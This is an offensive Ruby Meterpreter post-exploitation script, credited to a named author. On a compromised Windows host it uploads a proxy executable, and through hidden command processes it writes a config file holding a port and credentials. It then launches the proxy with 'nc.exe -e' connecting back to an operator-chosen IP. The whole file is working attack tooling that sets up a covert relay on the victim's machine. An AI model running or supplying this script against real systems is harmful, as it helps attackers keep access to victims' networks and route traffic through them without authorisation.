##########################################################
# Meterpreter Proxy Script by zerocold.co.uk #
#Created By: Michael Johnson Email: mjog123@hotmail.com  #
##########################################################
session = client
host,port = session.tunnel_peer.split(':')
#Files to upload to target host
file = File.join(Msf::Config.install_root, "data", "prox.exe")
#Menu-Options
@@exec_opts = Rex::Parser::Arguments.new(

               "-l" => [ true,   "Port To Listen On."],
               "-i" => [ true,   "Ip Reverse Connection"],
               "-u" =>  [ true,   "Username."],
               "-p" =>  [ true,   "Password."]

)
def usage
    print_line("    Meterpreter Proxy Script ZeroCold.co.uk")
    print_line("Michael Johnson  (Zero Cold)  mjog123@hotmail.com")
    print_line("#################################################")
    print_line
    print_line("Usage: proxy.rb  -i <ip> -l <port> -u <username> -p <password> ")
    print(@@exec_opts.usage)
    raise Rex::Script::Completed
end

  def upload(session,file)
    location = session.fs.file.expand_path("C:\\")
    fileontrgt = "#{location}\\prox.exe"
    print_status("Uploading Self Extracting Archive ...")
    session.fs.file.upload_file("#{fileontrgt}","#{file}")
    print_status("Upload Complete ...")
    return fileontrgt
 end

  def writefile(session,port,usr,pass)
    location = session.fs.file.expand_path("C:\\")
    print_status("Creating Command Local File")
    session.sys.process.execute("cmd /c echo [Connection] > #{location}\lps.ini" , nil,{'Hidden' => true,'Channelized' => true})
    session.sys.process.execute("cmd /c echo: >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})
    session.sys.process.execute("cmd /c echo port= #{port} >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})
    session.sys.process.execute("cmd /c echo: >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})
    session.sys.process.execute("cmd /c echo [Authorization] >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})
    session.sys.process.execute("cmd /c echo: >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})
    session.sys.process.execute("cmd /c echo User=#{usr} >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})
    session.sys.process.execute("cmd /c echo: >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})
    session.sys.process.execute("cmd /c echo Password=#{pass} >> #{location}\lps.ini", nil,{'Hidden' => true,'Channelized' => true})

    print_status("Local File Created ")

  end

  def excute(session,ip,port,usr,pass)
    location = session.fs.file.expand_path("C:\\")
    sleep 2
    session.sys.process.execute("cmd /c ""#{location}\\prox.exe", nil,{'Hidden' => true,'Channelized' => false})
    sleep 2
    print_status("Executing Proxy Server")
    session.sys.process.execute("cmd /c  #{location}\\nc.exe -e proxy.exe #{ip} #{port}", nil,{'Hidden' => true,'Channelized' => false})
    print_status("Proxy Started On Port #{port}")
    print_status("With User Name #{usr}")
    print_status("With Password #{pass}")


end
ip=nil
port=nil
usr=nil
pass=nil

@@exec_opts.parse(args) { |opt, idx, val|
    case opt

        when "-l"
                 port = val
        when "-i"
                 ip = val
        when "-u"
                 usr = val
        when "-p"
                 pass = val

        end

}

if port
upload(session,file)
writefile(session,port,usr,pass)
excute(session,ip,port,usr,pass)
else usage
end